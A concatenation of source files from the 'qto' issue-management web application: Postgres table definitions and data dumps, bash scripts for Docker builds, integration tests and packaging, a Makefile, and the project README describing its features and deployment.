stdin; 5b9c9736-6d97-44f7-8453-8a63bad5f150 191109112208 2 4 doc view/readme_doc readme readme 09-done \N \N \N \N 5 6 2020-01-31 18:39:56 7b0e04c7-ccee-4c74-b32c-428916dc8b40 191110102142 2 18 doc view/concepts_doc application concepts concepts 09-done \N \N \N \N 31 26 2020-03-01 10:29:33 d9aa6513-724c-420f-b694-a583d54564f5 191110102154 2 21 doc view/features_doc features & functionalities features & functionalities 09-done \N \N \N \N 37 30 2020-03-01 10:29:33 3a0b8f50-d88f-4e54-911e-f9bf84bc7ad1 191110051042 2 23 doc view/system_guide_doc system gude system guide 09-done \N \N \N \N 41 34 2020-03-01 10:29:33 465b0a5c-13bb-4888-b2d7-6a08d3b86f69 191112032733 2 8 doc list/ideas?oa=prio ideas ideas 09-done \N \N \N \N 13 12 2020-03-01 10:29:33 6d5b4f93-2694-4b34-8e7a-422da597518c 191113061322 2 8 doc list/problems?oa=prio problems problems 02-todo \N \N \N \N 15 14 2020-03-01 10:29:33 db69a517-647d-4f68-99bd-7fee79a8de78 200301102933 2 5 doc view/concepts_doc concepts concepts 02-todo \N \N \N \N 7 8 2020-03-01 10:30:15 e80a74ac-69a4-4aa4-8500-0d8e6029fdfc 191113062934 2 20 doc view/requirements_doc requirements requirements 09-done \N \N \N \N 35 28 2020-03-01 10:29:33 d6652433-7bee-42c3-a564-0d2580330674 191110044713 2 26 doc view/devops_guide_doc devops guide devops guide 09-done \N \N \N \N 47 40 2020-03-01 10:29:33 b472356b-4ab2-450d-a444-11f95dbeb20c 191124075545 2 11 doc list/questions?oa=prio questions questions 09-done \N \N \N \N 19 18 2020-03-01 10:29:33 4763e1ee-abf5-4bd8-a903-9e5bcf64c5bc 191110044834 2 12 doc list/yearly_issues_2020?&oa=prio&pg-size=7 yearly-issues yearly_issues 09-done \N \N \N \N 21 20 2020-03-01 10:29:33 116296a9-23de-47e4-bafd-d0e6366ab892 200301101943 1 13 folder # admin corner admin corner 02-todo \N \N \N \N 24 31 2020-03-01 10:29:33 dfc0af59-f7e5-46d1-ae5c-43454a755e2b 200301101958 2 14 doc list/app_items_doc?oa=seq&pick=name,url,title,type list items doc list items doc 02-todo \N \N \N \N 25 24 2020-03-01 10:29:33 f6af2e03-b6b6-41fc-8012-f7f033780b65 200301102020 2 15 doc view/app_items_doc view items doc view items doc 02-todo \N \N \N \N 27 26 2020-03-01 10:29:33 1edc12ab-f824-44fa-b67d-a08d7eb7d269 200301102057 2 16 doc list/meta_columns?oa=name list meta cols list meta-columns 02-todo \N \N \N \N 29 28 2020-03-01 10:29:33 5ea1e9e3-246a-4986-8f5b-53f9e8fedb9c 191110044638 2 24 doc view/installations_doc installation guide installation guide 09-done \N \N \N \N 43 36 2020-03-01 10:29:33 ccabc9fd-39f2-492b-8079-29f58587a72e 191109112117 1 17 folder # documents documents 09-done \N \N \N \N 30 39 2020-03-01 10:29:33 3a6c7f4d-bf60-4180-9bbe-6f1f8fa2052c 191110043707 1 22 folder # devops docs devops doc store 09-done \N \N \N \N 40 49 2020-03-01 10:29:33 8d65a710-d998-4fba-bc47-f163a896c378 200319133453 \N \N doc # link-title... doc-title... 02-todo \N \N \N \N \N \N 2020-03-19 11:34:51 5960db0b-4508-4c25-9163-5492d6c3245d 200319133458 \N \N doc # link-title... doc-title... 02-todo \N \N \N \N \N \N 2020-03-19 11:34:57 18fac44f-48ab-4ce9-98e2-5c953e19a1b0 200319133500 \N \N doc # link-title... doc-title... 02-todo \N \N \N \N \N \N 2020-03-19 11:35:46 79599235-ae29-4eb3-8bc9-a4a91989503e 191110044649 2 25 doc view/maintenance_guide_doc maintenance & operations guide maintenance & operations guide 09-done \N \N \N \N 45 38 2020-03-19 11:36:08 fa4bc87e-8a98-4012-9128-d40c0a15d40b 0 0 1 folder # not used ITEMS DOC 09-done \N \N \N \N 1 52 2020-03-19 11:36:36 e66250fb-324d-47c8-81f4-25c1ac3dd539 191109110438 1 7 folder # lists lists 09-done \N \N \N \N 12 23 2020-03-19 11:36:37 fb9c288d-e363-4219-8224-2e6a71e71777 191110045939 2 6 doc view/enduser_guide_doc end-user guide end-user guide 09-done \N \N \N \N 9 8 2020-03-20 07:37:45 16232847-865e-45b3-90be-21ca1f5636b4 191110044820 2 10 doc list/monthly_issues_202005?oa=prio monthly-issues monthly-issues 09-done \N \N \N \N 17 16 2020-04-01 02:35:07 3d71a66a-f9e8-45c5-af6b-268cfc671a19 191110050537 2 19 doc view/userstories_doc user-stories userstories doc 09-done \N \N \N \N 33 28 2020-04-06 14:14:23 c95e8b4f-48a1-4426-8ff3-9c512ee5d21f 1 1 2 folder # general start 09-done \N \N \N \N 2 11 2020-04-10 17:40:51 8d969e0b-03b4-400c-a8e7-78b723161bd2 191113062550 2 3 doc search search home & search 09-done \N \N \N \N 3 4 2020-04-10 19:22:32 \. <file_sep>do_build_docker_image(){ test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json" do_export_json_section_vars $PROJ_CONF_FILE '.env.db' test -f "$PRODUCT_DIR/src/docker/Dockerfile.deploy-$RUN_UNIT.$product_version" || \ do_exit 1 "the src/docker/Dockerfile.deploy-$RUN_UNIT.$product_version cannot be found !!!" #doRemoveDockerContainers test ${DOCKER_NUCLEAR_OPTION_PURGE:-0} -eq 1 && doFullCleanDocker # obs clears all docker stuff !!! #doRemoveDockerImages cp -v "$PRODUCT_DIR/src/docker/Dockerfile.deploy-$RUN_UNIT.$product_version" "$PRODUCT_DIR/Dockerfile" # for quick tests uncomment ^^^ and use this one : # cp -v "$PRODUCT_DIR/src/docker/Dockerfile.deploy-quick-test" "$PRODUCT_DIR/Dockerfile" docker build \ --build-arg PRODUCT_DIR=$PRODUCT_DIR \ --build-arg postgres_app_db=$postgres_app_db \ --build-arg TZ=${TZ:-} \ --build-arg ENV=$ENV \ --build-arg USER=$USER \ --build-arg UID=$UID \ --build-arg GROUP=$GROUP \ --build-arg GID=$GID \ --build-arg postgres_app_db=$postgres_app_db \ --build-arg postgres_sys_usr_admin=$postgres_sys_usr_admin \ --build-arg root_pwd=$<PASSWORD> \ --build-arg app_user_pwd=$app_user_pwd \ -t qto-image:$product_version.$ENV . test $? -ne 0 && do_log "FATAL the docker image building failed !!!" rm -v "$PRODUCT_DIR/Dockerfile" echo -e "\n\n to instantiate a new container, run: \n" echo -e "bash $PRODUCT_DIR/src/bash/qto/qto.sh -a run-container\n\n" } <file_sep># src/bash/qto/funcs/remove-action-files.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpRemoveActionFiles comments ... # --------------------------------------------------------- doHelpRemoveActionFiles(){ do_log "DEBUG START doHelpRemoveActionFiles" cat doc/txt/qto/helps/remove-action-files.help.txt sleep "$sleep_interval" # add your action implementation code here ... do_log "DEBUG STOP doHelpRemoveActionFiles" } # eof func doHelpRemoveActionFiles # eof file: src/bash/qto/funcs/remove-action-files.help.sh <file_sep># src/bash/qto/funcs/clone-to-app.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpCloneToApp comments ... # --------------------------------------------------------- doHelpCloneToApp(){ do_log "DEBUG START doHelpCloneToApp" cat doc/txt/qto/helps/clone-to-app.help.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doHelpCloneToApp" } # eof func doHelpCloneToApp # eof file: src/bash/qto/funcs/clone-to-app.help.sh <file_sep>ENV ?= lde ifeq ($(ENV),lde) # AWS_REGION = eu-central-1 @echo ENV:$(ENV) in make endif ifeq ($(ENV),dev) @echo ENV:$(ENV) in make endif ifeq ($(ENV),stg) @echo ENV:$(ENV) in make endif ifeq ($(ENV),prd) @echo ENV:$(ENV) in make endif <file_sep> -- DROP TABLE IF EXISTS test_delete_table ; SELECT 'create the "test_delete_table" table' ; CREATE TABLE test_delete_table ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (200) default 'name ...' , description varchar (4000) default 'desc ...' , CONSTRAINT pk_test_delete_table_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); insert into test_delete_table ( id,name,description) values (1,'name-1','the name should be deleted to deleted-name-1'); insert into test_delete_table ( id,name,description) values (2,'name-2','the name attr should NOT be deleted'); insert into test_delete_table ( id,name,description) values (3,'name-3','the name attr should be deleted to deleted-name-3'); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.test_delete_table'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; <file_sep>-- DROP TABLE IF EXISTS app_item_attributes CASCADE ; SELECT 'create the "app_item_attributes" table' ; CREATE TABLE app_item_attributes ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , prio integer NOT NULL DEFAULT 1 , table_name varchar (100) NOT NULL DEFAULT 'table name ...' , name varchar (100) NOT NULL DEFAULT 'name ...' , description varchar (4000) , skip_in_list boolean null default false , width integer NULL DEFAULT null , readonly boolean null default false , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) ) WITH ( OIDS=FALSE ); ALTER TABLE app_item_attributes -- DROP CONSTRAINT IF EXISTS uc_table_columns ; ALTER TABLE app_item_attributes -- DROP CONSTRAINT IF EXISTS pk_app_item_attributes_guid ; ALTER TABLE app_item_attributes ADD CONSTRAINT pk_app_item_attributes_guid PRIMARY KEY (guid) ; ALTER TABLE app_item_attributes ADD CONSTRAINT uc_table_columns unique (table_name, name) ; create unique index idx_uniq_app_item_attributes_id on app_item_attributes (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.app_item_attributes'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; CREATE TRIGGER trg_set_update_time_on_app_item_attributes BEFORE UPDATE ON app_item_attributes FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'app_item_attributes'::regclass; ; -- -- TOC entry 3322 (class 0 OID 47354) -- Dependencies: 229 -- Data for Name: meta_columns; Type: TABLE DATA; Schema: public; Owner: usrtstqtoadmin -- COPY public.app_item_attributes(guid, id, prio, table_name, name, description, skip_in_list, width, readonly, update_time) FROM stdin; 6a89f5fc-1115-4a89-8472-5591a0d50e80 190523215546 4 userstories update_time t \N f 2019-11-22 12:22:06 f36fc822-46a4-49e3-a53a-374036e95bb5 190614191158 4 meta_columns description f 50 f 2019-12-06 13:00:32 52189bff-d2f9-46b9-b8ba-e2ccd96a6bc7 181206221152 4 userstories lft_rnk \N t \N f 2019-11-22 12:13:53 e3f1d0b1-ec58-4bcb-babd-408ae09e8036 181206221206 4 userstories rgt_rnk \N t \N f 2019-11-22 12:13:53 aaaeea54-5b28-4f15-ab2b-7dad52f459bd 181125050540 4 monthly_issues name \N f \N f 2019-11-22 12:13:53 a982d70f-b9b2-4461-b7d6-549c091c3d61 181125151422 4 meta_columns update_time \N t \N f 2019-11-22 12:13:53 c8b49506-8306-48e9-93a2-4789c80411e1 181125104502 4 monthly_issues start_time _ t \N f 2019-11-22 12:13:53 3f45c255-7168-4369-b786-11ca1c9f5dcd 181125163726 4 monthly_issues stop_time \N t \N f 2019-11-22 12:13:53 ace21c06-d7b3-45ae-a4f7-da96291d8050 181125163903 4 monthly_issues planned_hours \N t \N f 2019-11-22 12:13:53 106265e2-073d-43a4-81c7-2eb3d0cb8905 181125104525 4 meta_columns guid _ t \N f 2019-11-22 12:13:53 d95f237e-00e5-4b46-acba-d89ba7099296 181125163942 4 monthly_issues seq \N t \N f 2019-11-22 12:13:53 42681e08-31d8-425c-9f17-369561c0ed39 181125165700 4 monthly_issues level \N t \N f 2019-11-22 12:13:53 2af06c04-c8b7-4847-8bef-77b77546b520 181125165752 4 monthly_issues actual_hours \N t \N f 2019-11-22 12:13:53 153c36a0-b1c4-4bbc-aff0-dfe62688ce6a 181125165803 4 monthly_issues update_time \N t \N f 2019-11-22 12:13:53 a4a6ecc0-c43a-4ded-a5cf-d736ec7e9186 181125171301 4 monthly_issues tags \N t \N f 2019-11-22 12:13:53 2ffeea85-f182-4290-8862-64f71e26c552 181126131754 4 confs update_time \N t \N f 2019-11-22 12:13:53 1aaeea54-5b28-4f15-ab2b-7dad52f459bd 181125150540 4 yearly_issues name \N f \N f 2019-11-22 12:13:53 253c36a0-b1c4-4bbc-aff0-dfe62688ce6a 181125065803 4 yearly_issues update_time \N t \N f 2019-11-22 12:13:53 a8b49506-8306-48e9-93a2-4789c80411e1 181125004502 4 yearly_issues start_time _ t \N f 2019-11-22 12:13:53 2f45c255-7168-4369-b786-11ca1c9f5dcd 181125063726 4 yearly_issues stop_time \N t \N f 2019-11-22 12:13:53 1ce21c06-d7b3-45ae-a4f7-da96291d8050 181125063903 4 yearly_issues planned_hours \N t \N f 2019-11-22 12:13:53 195f237e-00e5-4b46-acba-d89ba7099296 181125063942 4 yearly_issues seq \N t \N f 2019-11-22 12:13:53 32681e08-31d8-425c-9f17-369561c0ed39 181125065700 4 yearly_issues level \N t \N f 2019-11-22 12:13:53 1af06c04-c8b7-4847-8bef-77b77546b520 181125065752 4 yearly_issues actual_hours \N t \N f 2019-11-22 12:13:53 4be7e57e-f306-4afd-98b9-7ba558d67bd2 181125171311 4 yearly_issues tags \N t \N f 2019-11-22 12:13:53 c5d174a8-24a7-48ab-b883-8706305f235a 190202220548 4 monthly_issues weight \N t \N f 2019-11-22 12:13:53 150ce162-e8a2-4895-835d-9aedc2c8bdf4 190309101902 4 export_files update_time t \N f 2019-11-22 12:13:53 2d519e36-a075-4872-98ed-43b33b6156b7 190501192032 4 problems seq t \N f 2019-11-22 12:13:53 38feebe7-190c-4bf0-b846-384447e7eb81 190708213054 4 release_issues weight t 0 f 2019-11-22 12:13:53 f4a0db03-fa8a-4e7b-8075-9a0256df4b2b 191122105848 4 release_issues status f 30 f 2019-11-22 12:13:53 ee7eda74-5a16-42b7-ba7b-ffd363d02bf7 191114190104 4 release_issues type The type of an release issue could be: \n - bug , feature , functionality , task , cnf change f \N f 2019-11-22 12:13:53 a6aac2f1-895d-45ee-8b0f-f75ffbc2cca8 191122141244 4 problems description f 200 f 2019-11-22 12:13:53 70e9d8a4-9060-4bfb-8703-b1924aad7de9 190523213203 4 release_issues update_time t \N f 2019-11-22 12:22:13 3823d020-2fcb-4d5b-ad66-591ed7e3d481 191122142213 1 meta_columns table_name f 35 f 2019-12-06 11:30:29 cb762fd4-dc5e-4180-b91c-beab27652d37 191122141438 2 problems update_time t \N f 2019-11-22 12:15:22 7bfe04a8-3c45-4a4c-9fb5-eacca9b8a930 191122141418 2 problems solution_proposal f 200 f 2019-12-06 11:30:30 7784df12-652c-476e-96a1-dc08ac0172e3 191122141515 1 problems owner \N f 10 f 2019-11-22 12:15:32 8421afcc-be0a-4eb1-9a76-77b7dd80f41d 200227200120 1 yearly_issues_2020 update_time t 10 f 2020-02-27 18:01:31 a69e1cc6-2e69-4704-bd62-8b013e8afbc5 200227133517 1 monthly_issues_202004 issues_status_guid f 30 f 2020-04-11 13:36:17 d050bc02-1bcf-4391-ad7b-97146fae662a 191206142026 1 items_doc url f 40 f 2020-04-11 13:36:22 57c54026-eeaf-468a-8326-9175b174b173 200227191454 1 monthly_issues_202004 category_id f 30 f 2020-04-11 13:37:41 94124d2f-3895-4b6f-966c-1f9bfe42fbec 200227184143 1 items_roles_permissions roles_guid f 60 f 2020-04-11 13:37:51 \. <file_sep># src/bash/qto/funcs/run-integration-tests.func.sh doRunIntegrationTests(){ test -z "${PROJ_INSTANCE_DIR-}" && PROJ_INSTANCE_DIR="$PRODUCT_DIR" # do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.db' do_export_json_section_vars $PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json '.env.app' bash src/bash/qto/qto.sh -a mojo-morbo-stop bash src/bash/qto/qto.sh -a mojo-morbo-start #test $? -ne 0 && return do_log "INFO make a backup of the current db - inserts only " bash src/bash/qto/qto.sh -a backup-postgres-db-inserts do_log "INFO re-create the $ENV db" bash src/bash/qto/qto.sh -a run-pgsql-scripts last_db_backup_file=$(find $PROJ_INSTANCE_DIR/dat/mix -name $postgres_app_db*insrts.dmp.sql | sort -n | tail -n 1) PGPASSWORD="${postgres_sys_usr_admin_pw:-}" psql -v ON_ERROR_STOP=1 -q -t -X -w \ -h $postgres_rdbms_host -p $postgres_rdbms_port -U "${postgres_sys_usr_admin:-}" \ -v postgres_app_db="$postgres_app_db" -f "$last_db_backup_file" -d "$postgres_app_db" ret=$? ; test $ret -ne 0 && do_exit 1 "the integration tests failed on db restore .." do_log "INFO generating md docs" bash src/bash/qto/qto.sh -a generate-md-docs test $? -ne 0 && return do_log "INFO START integration testing - do run all the implemented action tests" perl src/perl/qto/t/TestQto.pl test $? -ne 0 && return echo -e "\n\n\n" } # eof file: src/bash/qto/funcs/run-integration-tests.func.sh <file_sep># README * [1. WHY](#1-why) * [2. SO, WHAT IS THIS ?!](#2-so-what-is-this-) * [2.1. WHAT CAN IT DO TO FOR ME AND/OR MY ORGANISATION ?](#21-what-can-it-do-to-for-me-and/or-my-organisation-) * [2.2. ASSUMPTION AND PREREQUISITES](#22-assumption-and-prerequisites) * [2.3. PROPOSED CAPABILITIES](#23-proposed-capabilities) * [3. DEMO](#3-demo) * [4. DOCUMENTATION](#4-documentation) * [5. AUTOMATED DEPLOYMENT LOCALLY AND ON AWS IN 35 MINUTES](#5-automated-deployment-locally-and-on-aws-in-35-minutes) * [6. ACKNOWLEDGEMENTS](#6-acknowledgements) * [7. LICENSE](#7-license) ## 1. WHY Why ?! Yet !! Another App/Tool/Framework/CMS ?! ... ¿¿¿¿¿¿¿ !!! Software development is prohibitively expensive. In fact any endeavour with team of people aiming towards common goal in any field is expensive, even solely based on persons' time spent. If you want to concentrate on your project(s), but have a fast, efficient and simple to use tool to manage it(them), that SIMPLY WORKS, you must read further ... Still here ?! Let's move on ! ## 2. SO, WHAT IS THIS ?! The short and non-technical answer is: QTO is a simplistic UI-wise, but extremely scalable and versatile web-based incident management and documentation application used for the managing of multiple projects. The long and more technically in-depth answer goes as follows: A generic and simplistic db centric web-based content management system, build on Postgres CRUDs ( s stands for search ) and hierarchical nested data-sets MULTIPLE databases from the same web application. An included example application is the "qto application", which is kind of incident management and issues handling tool, used for managing of multiple sites and well managing itself ;o). The full and extensive https://qto.fi/qto/view/features_doc contains all the features and functionalities of THIS released version. Figure: 1 the 7 main entities of the qto app ![Figure: 1 the 7 main entities of the qto app](https://raw.githubusercontent.com/YordanGeorgiev/qto/master/doc/img/readme/what-is-is.png) ### 2.1. What can it do to for me and/or my organisation ? Manage your projects with scale and to the finest granularity of your choice by: - incident management - issues handling - ideas generation - official documentation creation ( with interlinked content to those above ) - &lt;&lt;your-items-of-interest-interlinked&gt;&gt; ( items are just tables with id,and guid ... ) from both mobile and desktop browsers ### 2.2. Assumption and prerequisites Your organisation: - needs to setup quickly teams and projects for tracking issues, tasks, problems, documentation - has full trust to the persons per teams for all (except users related data) add, update, delete operations - might have the need to save technical documentation in versioned md format - might have the need to constantly update comparably small ( less than 10k rows) (hierarchy) tables - needs to keep track vertically of documentation and generate pdf, docx and md files out of it ### 2.3. Proposed capabilities With qto you will gain the following capabilities: - instance deployment to bare metal/vm install, which should take no more than 40min - provide db based authentication and restricted access to the app via http(s) - provide access to the non-technical person via http and/or https for CRUD operations - quickly define LOTS of tables DDL by using the existing examples and just changing the columns - search the data from the db via the global search feature - load initial data via xls ( less than 10k rows per sheet should be ok ) - provide them with initial links to grasp the "semi-sql" syntax - create and update multiple hierarchical documents via the view doc interface - load hierarchical docs via xls, export them to md format ( programatically ) or pdf - lots of automated sysadmin capabilities ( check the docs in the doc/md dir ) ## 3. DEMO You can check the following https://qto.fi/qto/view/enduser_guide_doc of the web app, additionally every doc below has it's "it-doc" link aka the "native" qto document format … Use the "<EMAIL>" and "secret" credentials to login ( simple click of the login button would do it as well ;o) OR even better try to login with your own e-mail and request access from the admin e-mail displayed to the error msg ... Still here ?! Interested to get your own instance up-and-running in the cloud exposed to the Internet ?! Follow simply the instructions in the next section. ## 4. DOCUMENTATION Qto IS about documentation , which are aimed to be as up-to-date to the current release version as possible. Thus you get the following documentation set: - readme_doc-0 - the initial landing readme doc for the project - userstories_doc-0 - the collection of user-stories used to describe "what is desired" - requirements_doc-0 - the structured collection of the requirements - system_guide_doc-0 - architecture and System description - devops_guide_doc-0 - a guide for the developers and devops operators - installations_doc-0 - a guide for installation of the application - enduser_guide_doc-0 - the guide for the usage of the UI ( mainly ) for the end-users - concepts_doc-0 - the concepts doc Check the doc/md or doc/pdf directories where the generated from the db documents residue in md or pdf format. ## 5. AUTOMATED DEPLOYMENT LOCALLY AND ON AWS IN 35 MINUTES The installation guide https://github.com/YordanGeorgiev/qto/blob/master/doc/md/installations_doc.md contains the instructions on how-to deploy both a local instance AND and an aws instance exposed to the Internet in 35 minutes for instance from scratch on top of the Amazon latest ubuntu 18.04 ami, so that you can have 100% control on your binary configuration on your infrastructure. ## 6. ACKNOWLEDGEMENTS This project would NOT have been possible without the work of the people working on the following frameworks/languages/OS communities listed in no particular order. - Perl - Mojolicious - GNU Linux - Vue - FreeBSD Deep gratitudes and thanks to all those people ! This application aims to contain the best practices of our former colleagues and collaborators and fellow travellers in life, which also deserve huge thanks for their support and contributions!!! We tend to incorporate and re-use a lot of code snippets from the Stackoverflow and Codepen sites, should you consider that you were the author of those code snippets and you deserve mentioning of the source please let us know ... ## 7. LICENSE All the trademarks mentioned in the documentation and in the source code belong to their owners. This application uses the Perl Artistic license, check the license.txt file or the following link : https://dev.perl.org/licenses/artistic.html Should any trademark attribution be missing, mistaken or erroneous, please contact us as soon as possible for rectification. Usual commercial products licensing conditions usually end-up here, you will get the regular "we do not take responsibility if you mess your data / infrastructure with our code" clause ... - qto is designed from the ground-up differently - read features_doc-191215115117 <file_sep>#------------------------------------------------------------------------------ # creates a package from the relative file paths specified in the .env file #------------------------------------------------------------------------------ doCreateRelativePackage(){ mkdir -p $product_dir/dat/zip test $? -ne 0 && do_exit 2 "Failed to create $PRODUCT_DIR/dat/zip !" test -z ${include_file:-} && \ include_file="$PRODUCT_DIR/met/.$ENV.$RUN_UNIT" # relative file path is passed turn it to absolute one [[ $include_file == /* ]] || include_file=$PRODUCT_DIR/$include_file test -f $include_file || \ do_exit 3 "did not found any deployment file paths containing deploy file @ $include_file" tgt_ENV=$(echo `basename "$include_file"`|cut -d'.' -f2) timestamp=`date "+%Y%m%d_%H%M%S"` # the last token of the include_file with . token separator - thus no points in names git_short_hash=$(git rev-parse --short HEAD) zip_file_name=$(echo $include_file | rev | cut -d. -f 1 | rev) zip_file_name="$zip_file_name.$product_version.$tgt_ENV.$timestamp.$git_short_hash.$host_name.rel.zip" zip_file="$product_dir/$zip_file_name" ret=0 while read f ; do [[ $f == '#'* ]] && continue ; test -d "$PRODUCT_DIR/$f" && continue ; test -f "$PRODUCT_DIR/$f" && continue ; test -f "$PRODUCT_DIR/$f" || do_log 'FATAL cannot find the file: "'"$PRODUCT_DIR/$f"'" to package it' ; test -f "$PRODUCT_DIR/$f" || do_log 'ERROR search for it in the '"$include_file"' ' ; test -f "$PRODUCT_DIR/$f" || do_log 'INFO if you need the file add it to the list file ' ; test -f "$PRODUCT_DIR/$f" || do_log 'INFO if you do not need the file remove it from the list file ' ; test -f "$PRODUCT_DIR/$f" || ret=1 test -f "$PRODUCT_DIR/$f" && break ; done < <(cat $include_file) do_log "DEBUG ret is $ret " test $ret -ne 0 && do_log "ERROR non-existend file specified in the include file: $include_file " # start: add the perl_ignore_file_pattern while read -r line ; do \ got=$(echo $line|perl -ne 'm|^\s*#\s*perl_ignore_file_pattern\s*=(.*)$|g;print $1'); \ test -z "$got" || perl_ignore_file_pattern="$got|${perl_ignore_file_pattern:-}" ; done < <(cat $include_file) # or how-to remove the last char from a string perl_ignore_file_pattern=$(echo "$perl_ignore_file_pattern"|sed 's/.$//') test -z $perl_ignore_file_pattern && perl_ignore_file_pattern='.*\.swp$|.*\.log|$.*\.swo$' # note: | grep -vP "$perl_ignore_file_pattern" | grep -vP '^\s*#' # zip MM ops -MM = --must-match # All input patterns must match at least one file and all input files found must be readable. ret=0 cat $include_file | grep -vP $perl_ignore_file_pattern | grep -vP '^\s*#' \ | perl -ne 's|\n|\000|g;print'| xargs -0 zip -MM $zip_file ret=$? ; if (( $ret != 0 )); then fatal_msg1="deleting $zip_file !!!" fatal_msg2="because of packaging errors !!!" rm -fv $zip_file do_log "FATAL $fatal_msg1" do_log "FATAL $fatal_msg2" do_exit 1 "FATAL failed to create relative package" else cd $product_dir do_log "INFO created the following relative package:" do_log "INFO `stat -c \"%y %n\" $zip_file_name`" if [[ ${network_backup_dir+x} && -n $network_backup_dir ]] ; then if [ -d "$network_backup_dir" ] ; then doRunCmdAndLog "cp -v $zip_file $network_backup_dir/" do_log "INFO with the following network backup :" && \ do_log "INFO `stat -c \"%y %n\" \"$network_backup_dir/$zip_file_name\"`" else msg="skip backup as network_backup_dir is not configured" do_log "INFO $msg" fi fi fi } <file_sep>-- file: src/sql/pgsql/qto/app-itms/002.create-table.app_roles.sql -- v0.8.4 -- \echo 'If necessary, perform -- DROP TABLE IF EXISTS app_roles;' -- \echo '1. Creating the app_roles table' CREATE TABLE app_roles ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (100) NOT NULL DEFAULT 'Role name' , level smallint NOT NULL DEFAULT 1000 , description varchar (200) NULL DEFAULT '' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_app_roles_guid PRIMARY KEY (guid) ); CREATE unique index idx_app_roles_uniq_id ON app_roles (id); INSERT INTO app_roles ( guid, id, name, level, description ) VALUES ('71eea083-d818-4557-89fe-29eb950881aa', 1, 'PRODUCT_INSTANCE_OWNER', 0, 'Product instance owner'), ('71eea083-d818-4557-89fe-29eb950881ac', 2, 'EDITOR', 2, 'Has the right to edit content'), ('71eea083-d818-4557-89fe-29eb950881ad', 3, 'READER', 7, 'Has the right to read content'), ('71eea083-d818-4557-89fe-29eb950881ab', 4, 'ANONYMOUS', 1000, 'Non-registered user having access to instance'); -- \echo 'List columns of the created table app_roles' SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid='public.app_roles'::regclass AND attnum>0 AND NOT attisdropped ORDER BY attnum ; -- \echo 'Update time on every EXECUTE trigger:' CREATE TRIGGER trg_set_update_time_on_app_roles BEFORE UPDATE ON app_roles FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid='app_roles'::regclass;<file_sep>-- file: src/sql/pgsql/scripts/admin/list-schema-tables.sql -- usage: /** alias psql="PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U ${postgres_sys_usr_admin:-}" psql -d dev_qto < src/sql/pgsql/scripts/admin/list-schema-tables.sql */ INSERT INTO app_items ( id,name,is_menu) SELECT ROW_NUMBER () OVER (ORDER BY table_name) as id , table_name as name , '1' FROM information_schema.tables WHERE 1=1 AND table_type = 'BASE TABLE' AND table_schema = 'public' ORDER BY table_name ; /* SELECT ROW_NUMBER () OVER (ORDER BY table_name) as row_id , table_name as name FROM information_schema.tables WHERE 1=1 AND table_type = 'BASE TABLE' AND table_schema = 'public' ORDER BY table_name ; */ -- eof file: src/sql/pgsql/scripts/admin/list-schema-tables.sql <file_sep>-- \echo 'If necessary, perform -- DROP TABLE IF EXISTS app_routes;' -- \echo '6. Creating the app_routes table' CREATE TABLE app_routes ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , prio smallint NOT NULL DEFAULT 1 , is_open bool NOT NULL default true , is_open_in bool NOT NULL default false , has_subject bool NOT NULL default true , is_backend bool NOT NULL default true , name varchar (200) NOT NULL DEFAULT 'Route name' , description varchar (4000) DEFAULT '' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_app_routes_guid PRIMARY KEY (guid) ); CREATE UNIQUE INDEX idx_uniq_app_routes_id ON app_routes (id); -- \echo 'List columns of the created table app_routes' SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid='public.app_routes'::regclass AND attnum>0 AND NOT attisdropped ORDER BY attnum; -- \echo 'Update time on every EXECUTE trigger:' CREATE TRIGGER trg_set_update_time_on_app_routes BEFORE UPDATE ON app_routes FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid='app_routes'::regclass; -- -- TOC entry 3313 (class 0 OID 60445) -- Dependencies: 270 -- Data for Name: app_routes; Type: TABLE DATA; Schema: public; Owner: usrdevqtoadmin -- COPY public.app_routes (guid, id, prio, is_open, is_open_in, has_subject, is_backend, name, description, update_time) FROM stdin; 9b2bfd99-bedc-4c8d-8a89-1051a57386e7 200228153152 1 f f t t insert The insert route tells the application layer to insert a row via post 2020-05-13 17:28:08 e86764c7-c25b-4391-a24b-d155f3b7032a 200228080831 1 f f t t truncate The TRUNCATE route tells the qto Application Layer to truncate a whole item table 2020-05-13 17:28:08 